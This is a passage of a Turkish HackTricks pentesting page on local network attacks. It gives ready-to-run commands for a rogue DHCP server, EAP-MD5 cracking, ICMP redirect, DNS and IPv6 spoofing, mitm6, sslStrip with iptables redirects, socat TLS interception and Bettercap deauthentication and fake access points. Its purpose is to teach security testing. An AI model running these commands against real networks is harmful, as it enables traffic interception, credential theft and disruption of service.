Bahsedilen DoS saldırılarını kullanarak, istemcileri ortamda yeni kiralamalar almaya zorlayabilir ve meşru sunucuları tüketerek yanıt veremez hale getirebilirsiniz. Böylece meşru sunucular yeniden bağlanmaya çalıştığında, **bir sonraki saldırıda bahsedilen kötü niyetli değerleri sunabilirsiniz**.
#### Kötü niyetli değerleri ayarlama
Bir sahte DHCP sunucusu, `/usr/share/responder/DHCP.py` konumundaki DHCP betiği kullanılarak kurulabilir. Bu, trafiği kötü niyetli bir sunucuya yönlendirerek HTTP trafiğini ve kimlik bilgilerini yakalamak gibi ağ saldırıları için faydalıdır. Ancak, sahte bir ağ geçidi ayarlamak daha az etkilidir çünkü bu yalnızca istemciden çıkan trafiği yakalamaya izin verir ve gerçek ağ geçidinden gelen yanıtları kaçırır. Bunun yerine, daha etkili bir saldırı için sahte bir DNS veya WPAD sunucusu kurmak önerilir.
Aşağıda sahte DHCP sunucusunu yapılandırmak için komut seçenekleri bulunmaktadır:
- **IP Adresimiz (Ağ Geçidi İlanı)**: Makinenizin IP'sini ağ geçidi olarak ilan etmek için `-i 10.0.0.100` kullanın.
- **Yerel DNS Alan Adı**: İsteğe bağlı olarak, yerel bir DNS alan adı ayarlamak için `-d example.org` kullanın.
- **Orijinal Yönlendirici/Ağ Geçidi IP'si**: Meşru yönlendiricinin veya ağ geçidinin IP adresini belirtmek için `-r 10.0.0.1` kullanın.
- **Birincil DNS Sunucusu IP'si**: Kontrol ettiğiniz sahte DNS sunucusunun IP adresini ayarlamak için `-p 10.0.0.100` kullanın.
- **İkincil DNS Sunucusu IP'si**: İsteğe bağlı olarak, ikincil bir DNS sunucusu IP'si ayarlamak için `-s 10.0.0.1` kullanın.
- **Yerel Ağın Alt Ağ Maskesi**: Yerel ağ için alt ağ maskesini tanımlamak için `-n 255.255.255.0` kullanın.
- **DHCP Trafiği için Arayüz**: Belirli bir ağ arayüzünde DHCP trafiğini dinlemek için `-I eth1` kullanın.
- **WPAD Yapılandırma Adresi**: Web trafiği kesintisi için WPAD yapılandırma adresini ayarlamak için `-w “http://10.0.0.100/wpad.dat”` kullanın.
- **Varsayılan Ağ Geçidi IP'sini Taklit Etme**: Varsayılan ağ geçidi IP adresini taklit etmek için `-S` ekleyin.
- **Tüm DHCP İsteklerine Yanıt Verme**: Sunucunun tüm DHCP isteklerine yanıt vermesi için `-R` ekleyin, ancak bunun gürültülü olduğunu ve tespit edilebileceğini unutmayın.
Bu seçenekleri doğru bir şekilde kullanarak, ağ trafiğini etkili bir şekilde kesmek için bir sahte DHCP sunucusu kurulabilir.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">python</span></div>
```python
# Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R
```
### **EAP Saldırıları**
İşte 802.1X uygulamalarına karşı kullanılabilecek bazı saldırı taktikleri:
- EAP üzerinden aktif brute-force şifre kırma
- Bozulmuş EAP içeriği ile RADIUS sunucusuna saldırma _\*\*_(exploits)
- EAP mesajlarını yakalama ve çevrimdışı şifre kırma (EAP-MD5 ve PEAP)
- TLS sertifika doğrulamasını atlatmak için EAP-MD5 kimlik doğrulamasını zorlamak
- Bir hub veya benzeri bir cihaz kullanarak kimlik doğrulama sırasında kötü niyetli ağ trafiği enjekte etme
Eğer saldırgan, kurban ile kimlik doğrulama sunucusu arasında ise, kimlik doğrulama protokolünü EAP-MD5'ye düşürmeyi (gerekirse) deneyebilir ve kimlik doğrulama girişimini yakalayabilir. Ardından, bunu brute-force ile kırmayı deneyebilir:
```
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
```
### FHRP (GLBP & HSRP) Saldırıları <a href="#id-6196" id="id-6196"></a>
**FHRP** (First Hop Redundancy Protocol), **bir sıcak yedek yönlendirme sistemi oluşturmak** için tasarlanmış bir ağ protokolleri sınıfıdır. FHRP ile fiziksel yönlendiriciler tek bir mantıksal cihazda birleştirilebilir, bu da hata toleransını artırır ve yük dağılımına yardımcı olur.
**Cisco Systems mühendisleri, GLBP ve HSRP olmak üzere iki FHRP protokolü geliştirmiştir.**
<a class="content_ref" href="glbp-and-hsrp-attacks.md"><span class="content_ref_label">GLBP & HSRP Attacks</span></a>
### RIP
Yönlendirme Bilgisi Protokolü (RIP) olarak bilinen üç versiyon bulunmaktadır: RIP, RIPv2 ve RIPng. RIP ve RIPv2, datagramları UDP üzerinden 520 numaralı port aracılığıyla akranlara gönderirken, RIPng datagramları IPv6 çoklu yayını aracılığıyla UDP 521 numaralı portuna yayınlar. MD5 kimlik doğrulama desteği RIPv2 ile tanıtılmıştır. Öte yandan, RIPng yerel kimlik doğrulama içermemekte; bunun yerine, IPv6 içindeki isteğe bağlı IPsec AH ve ESP başlıklarına güvenilmektedir.
- **RIP ve RIPv2:** İletişim, 520 numaralı portta UDP datagramları aracılığıyla yapılır.
- **RIPng:** IPv6 çoklu yayını aracılığıyla datagramları yayınlamak için 521 numaralı UDP portunu kullanır.
RIPv2'nin MD5 kimlik doğrulamasını desteklediğini, ancak RIPng'nin yerel kimlik doğrulama içermediğini ve IPv6'daki IPsec AH ve ESP başlıklarına güvendiğini unutmayın.
### EIGRP Saldırıları
**EIGRP (Enhanced Interior Gateway Routing Protocol)**, dinamik bir yönlendirme protokolüdür. **Bu, bir mesafe-vektör protokolüdür.** Eğer **kimlik doğrulama yoksa** ve pasif arayüzlerin yapılandırması yapılmamışsa, bir **saldırgan** EIGRP yönlendirmesine müdahale edebilir ve **yönlendirme tablolarını zehirleyebilir**. Ayrıca, EIGRP ağı (diğer bir deyişle, otonom sistem) **düzdür ve herhangi bir bölgeye ayrılmamıştır**. Eğer bir **saldırgan bir rota enjekte ederse**, bu rotanın otonom EIGRP sistemi boyunca **yayılması** muhtemeldir.
EIGRP sistemine saldırmak, **meşru bir EIGRP yönlendiricisi ile bir komşuluk kurmayı** gerektirir; bu da temel keşiften çeşitli enjekte etmelere kadar birçok olasılığı açar.
[**FRRouting**](https://frrouting.org/) **BGP, OSPF, EIGRP, RIP ve diğer protokolleri destekleyen bir sanal yönlendirici uygulamanıza olanak tanır.** Tek yapmanız gereken, bunu saldırganın sistemine dağıtmak ve aslında yönlendirme alanında meşru bir yönlendirici gibi davranmaktır.
<a class="content_ref" href="eigrp-attacks.md"><span class="content_ref_label">EIGRP Attacks</span></a>
[**Coly**](https://code.google.com/p/coly/) EIGRP (Enhanced Interior Gateway Routing Protocol) yayınlarını yakalama yeteneklerine sahiptir. Ayrıca, yönlendirme yapılandırmalarını değiştirmek için kullanılabilecek paketlerin enjekte edilmesine de olanak tanır.
### OSPF
Open Shortest Path First (OSPF) protokolünde **MD5 kimlik doğrulaması, yönlendiriciler arasında güvenli iletişimi sağlamak için yaygın olarak kullanılmaktadır**. Ancak, bu güvenlik önlemi Loki ve John the Ripper gibi araçlar kullanılarak tehlikeye atılabilir. Bu araçlar, MD5 hash'lerini yakalayabilir ve kırabilir, böylece kimlik doğrulama anahtarını açığa çıkarabilir. Bu anahtar elde edildikten sonra, yeni yönlendirme bilgileri eklemek için kullanılabilir. Rota parametrelerini yapılandırmak ve ele geçirilmiş anahtarı belirlemek için sırasıyla _Injection_ ve _Connection_ sekmeleri kullanılır.
- **MD5 Hash'lerini Yakalama ve Kırma:** Bu amaçla Loki ve John the Ripper gibi araçlar kullanılır.
- **Rota Parametrelerini Yapılandırma:** Bu, _Injection_ sekmesi aracılığıyla yapılır.
- **Ele Geçirilmiş Anahtarı Ayarlama:** Anahtar, _Connection_ sekmesi altında yapılandırılır.
### Diğer Genel Araçlar & Kaynaklar
- [**Above**](https://github.com/c4s73r/Above): Ağ trafiğini taramak ve güvenlik açıklarını bulmak için bir araç
- Ağ saldırıları hakkında **daha fazla bilgi** [**burada**](https://github.com/Sab0tag3d/MITM-cheatsheet) bulabilirsiniz.
## **Sahtecilik**
Saldırgan, sahte DHCP yanıtları göndererek ağın yeni üyesinin tüm ağ parametrelerini (GW, IP, DNS) yapılandırır.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
Ettercap
yersinia dhcp -attack 2 #More parameters are needed
```
### ARP Spoofing
Check the [previous section](#arp-spoofing).
### ICMPRedirect
ICMP Redirect, bir IP'ye ulaşmanın en iyi yolunun saldırgan olduğunu belirten, ICMP paket türü 1 kod 5 göndermeyi içerir. Daha sonra, kurban IP ile iletişim kurmak istediğinde, paketi saldırgan üzerinden gönderecektir.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]
```
### DNS Spoofing
Saldırgan, kurbanın talep ettiği bazı (veya tüm) alan adlarını çözecektir.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
```
**dnsmasq ile kendi DNS'inizi yapılandırın**
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS
```
### Yerel Ağ Geçitleri
Sistemlere ve ağlara genellikle birden fazla yol vardır. Yerel ağ içindeki MAC adreslerinin bir listesini oluşturduktan sonra, IPv4 yönlendirmesini destekleyen ana bilgisayarları tanımlamak için _gateway-finder.py_ kullanın.
```
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.0.100 00:13:72:09:ad:76 Dell Inc.
10.0.0.200 00:90:27:43:c0:57 INTEL CORPORATION
10.0.0.254 00:08:74:c0:40:ce Dell Computer Corp.
root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
```
### [LLMNR, NBT-NS ve mDNS'yi Taklit Etme](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
DNS sorguları başarısız olduğunda yerel ana bilgisayar çözümü için Microsoft sistemleri **Link-Local Multicast Name Resolution (LLMNR)** ve **NetBIOS Name Service (NBT-NS)**'ye dayanır. Benzer şekilde, **Apple Bonjour** ve **Linux sıfır yapılandırma** uygulamaları, bir ağ içindeki sistemleri keşfetmek için **Multicast DNS (mDNS)** kullanır. Bu protokollerin kimlik doğrulama gerektirmeyen doğası ve UDP üzerinden çalışmaları, mesajları yayınlayarak, kullanıcıları kötü niyetli hizmetlere yönlendirmeyi amaçlayan saldırganlar tarafından istismar edilebilir.
Yanıtlayıcıyı kullanarak ana bilgisayarlar tarafından aranan hizmetleri taklit edebilirsiniz.\
Daha fazla bilgi için [Yanıtlayıcı ile hizmetleri nasıl taklit edeceğinizi buradan okuyun](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### [WPAD'yi Taklit Etme](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
Tarayıcılar genellikle **Web Proxy Auto-Discovery (WPAD) protokolünü otomatik olarak proxy ayarlarını almak için kullanır**. Bu, bir sunucudan yapılandırma ayrıntılarını almak anlamına gelir, özellikle "http://wpad.example.org/wpad.dat" gibi bir URL aracılığıyla. Bu sunucunun istemciler tarafından keşfi çeşitli mekanizmalarla gerçekleşebilir:
- **DHCP** aracılığıyla, burada keşif özel bir kod 252 girişi kullanılarak kolaylaştırılır.
- **DNS** aracılığıyla, bu yerel alanda _wpad_ olarak etiketlenmiş bir ana bilgisayar adı aramayı içerir.
- **Microsoft LLMNR ve NBT-NS** aracılığıyla, DNS sorgularının başarısız olduğu durumlarda kullanılan yedekleme mekanizmalarıdır.
Yanıtlayıcı aracı, bu protokolden yararlanarak **kötü niyetli bir WPAD sunucusu** olarak hareket eder. İstemcileri kendisine bağlanmaya yönlendirmek için DHCP, DNS, LLMNR ve NBT-NS kullanır. Yanıtlayıcı kullanarak hizmetlerin nasıl taklit edilebileceği hakkında daha fazla bilgi için [bunu kontrol edin](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### [SSDP ve UPnP Cihazlarını Taklit Etme](spoofing-ssdp-and-upnp-devices.md)
Ağda farklı hizmetler sunarak bir **kullanıcıyı** bazı **düz metin kimlik bilgilerini** girmeye **kandırabilirsiniz**. **Bu saldırı hakkında daha fazla bilgi için** [**SSDP ve UPnP Cihazlarını Taklit Etme**](spoofing-ssdp-and-upnp-devices.md)**.**
### IPv6 Komşu Taklidi
Bu saldırı, ARP Taklidi ile çok benzer, ancak IPv6 dünyasında geçerlidir. Kurbanın, GW'nin IPv6'sının saldırganın MAC'ine sahip olduğunu düşünmesini sağlayabilirsiniz.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
```
### IPv6 Yönlendirici İlanı Sahteciliği/Boğma
Bazı işletim sistemleri, ağda gönderilen RA paketlerinden varsayılan olarak geçidi yapılandırır. Saldırganı IPv6 yönlendiricisi olarak ilan etmek için şunu kullanabilirsiniz:
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16
```
### IPv6 DHCP sahteciliği
Varsayılan olarak bazı işletim sistemleri, ağda bir DHCPv6 paketi okuyarak DNS'i yapılandırmaya çalışır. Bu durumda, bir saldırgan kendisini DNS olarak yapılandırmak için bir DHCPv6 paketi gönderebilir. DHCP ayrıca kurban için bir IPv6 sağlar.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
dhcp6.spoof on
dhcp6.spoof.domains <list of domains>
mitm6
```
### HTTP (sahte sayfa ve JS kodu enjeksiyonu)
## İnternet Saldırıları
### sslStrip
Temelde bu saldırının yaptığı şey, eğer **kullanıcı** bir **HTTP** sayfasına **erişmeye** çalışıyorsa ve bu sayfa **HTTPS** versiyonuna **yönlendiriliyorsa**. **sslStrip**, **istemci ile** bir **HTTP bağlantısını** ve **sunucu ile** bir **HTTPS bağlantısını** **koruyarak**, bağlantıyı **düz metin** olarak **dinleyebilmesini** sağlar.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
```
Daha fazla bilgi [burada](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf).
### sslStrip+ ve dns2proxy ile HSTS'yi atlama
**sslStrip+ ve dns2proxy** arasındaki **fark**, **sslStrip**'e karşı, örneğin _**www.facebook.com**_ **adresini** _**wwww.facebook.com**_ **olarak** **yönlendirmeleridir** (ekstra "**w**"yi not edin) ve bu **alanın adresini saldırgan IP'si olarak ayarlayacaklardır**. Bu şekilde, **istemci** _**wwww.facebook.com**_ **(saldırgan)** ile **bağlanacak**, ancak arka planda **sslstrip+** **gerçek bağlantıyı** **www.facebook.com** ile **https** üzerinden **sürdürecektir**.
Bu tekniğin **amacı**, _**wwww**.facebook.com_ **tarayıcının** **önbelleğine** **kaydedilmeyeceği** için **HSTS'yi atlamaktır**, böylece tarayıcı **facebook kimlik doğrulamasını HTTP üzerinden** gerçekleştirmeye **kandırılacaktır**.\
Bu saldırıyı gerçekleştirmek için, mağdurun başlangıçta [http://www.faceook.com](http://www.faceook.com) adresine erişmeye çalışması gerektiğini unutmayın, https değil. Bu, bir http sayfasındaki bağlantıları değiştirerek yapılabilir.
Daha fazla bilgi [burada](https://www.bettercap.org/legacy/#hsts-bypass), [burada](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) ve [burada](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
**sslStrip veya sslStrip+ artık çalışmıyor. Bunun nedeni, tarayıcılarda önceden kaydedilmiş HSTS kurallarının olmasıdır, bu nedenle bir kullanıcı "önemli" bir alana ilk kez erişse bile HTTPS üzerinden erişecektir. Ayrıca, önceden kaydedilmiş kurallar ve diğer üretilen kurallar** [**`includeSubdomains`**](https://hstspreload.appspot.com) **bayrağını kullanabilir, bu nedenle önceki _**wwww.facebook.com**_ örneği artık çalışmayacaktır çünkü** _**facebook.com**_ **HSTS'yi `includeSubdomains` ile kullanmaktadır.**
TODO: easy-creds, evilgrade, metasploit, factory
## TCP dinleme portu
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -
```
## TCP + SSL dinleme portu
#### Anahtarlar ve kendinden imzalı sertifika oluşturun
```
FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
```
#### Sertifika kullanarak dinleme
```
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
```
#### Sertifika kullanarak dinleme yapın ve ana bilgisayarlara yönlendirin
```
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
```
Bazen, eğer müşteri CA'nın geçerli olduğunu kontrol ederse, **bir CA tarafından imzalanmış başka bir ana bilgisayar adı için bir sertifika sunabilirsiniz**.\
Diğer ilginç bir test, **istenen ana bilgisayar adı için ancak kendinden imzalı bir sertifika sunmaktır**.
Test edilecek diğer şeyler, sertifikayı geçerli bir CA olmayan geçerli bir sertifika ile imzalamayı denemek veya geçerli bir genel anahtarı kullanarak, gerçek özel anahtarla herhangi bir şeyi deşifre etmeye ihtiyaç duymayan bir algoritma (diffie hellman gibi) kullanmaya zorlamaktır ve müşteri gerçek özel anahtarın bir denemesini (bir hash gibi) talep ettiğinde sahte bir deneme göndermek ve müşterinin bunu kontrol etmemesini beklemektir.
## Bettercap
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
# Events
events.stream off #Stop showing events
events.show #Show all events
events.show 5 #Show latests 5 events
events.clear
# Ticker (loop of commands)
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on
# Caplets
caplets.show
caplets.update
# Wifi
wifi.recon on
wifi.deauth BSSID
wifi.show
# Fake wifi
set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap
```
### Aktif Keşif Notları
Bir UDP paketi, istenen portun bulunmadığı bir cihaza gönderildiğinde, bir ICMP (Port Ulaşılmaz) gönderildiğini dikkate alın.
### **ARP keşfi**
ARP paketleri, ağ içinde hangi IP'lerin kullanıldığını keşfetmek için kullanılır. PC, her olası IP adresi için bir istek göndermeli ve yalnızca kullanılanlar yanıt verecektir.
### **mDNS (çoklu yayın DNS)**
Bettercap, **\_services\_.dns-sd.\_udp.local** için bir MDNS isteği gönderir (her X ms) ve bu paketi gören makine genellikle bu isteğe yanıt verir. Ardından, yalnızca "services" yanıt veren makineleri arar.
**Araçlar**
- Avahi-browser (--all)
- Bettercap (net.probe.mdns)
- Responder
### **NBNS (NetBios İsim Sunucusu)**
Bettercap, "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA" ismini sormak için 137/UDP portuna paketler yayınlar.
### **SSDP (Basit Hizmet Keşif Protokolü)**
Bettercap, her türlü hizmeti aramak için SSDP paketleri yayınlar (UDP Port 1900).
### **WSD (Web Hizmeti Keşfi)**
Bettercap, hizmetleri aramak için WSD paketleri yayınlar (UDP Port 3702).
## Referanslar
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
- **Ağ Güvenliği Değerlendirmesi: Ağınızı Tanıyın (3. baskı)**
- **Pratik IoT Hackleme: Nesnelerin İnternetine Saldırmanın Kesin Rehberi. Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood tarafından**
- [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<div class="mdbook-alerts mdbook-alerts-tip">
<p class="mdbook-alerts-title">
<span class="mdbook-alerts-icon"></span>
tip
</p>
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
<details>
<summary>HackTricks'i Destekleyin</summary>
- [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
- **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi takip edin** **Twitter**'da 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
- **Hacking ipuçlarını paylaşın,** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek.
</details>
</div>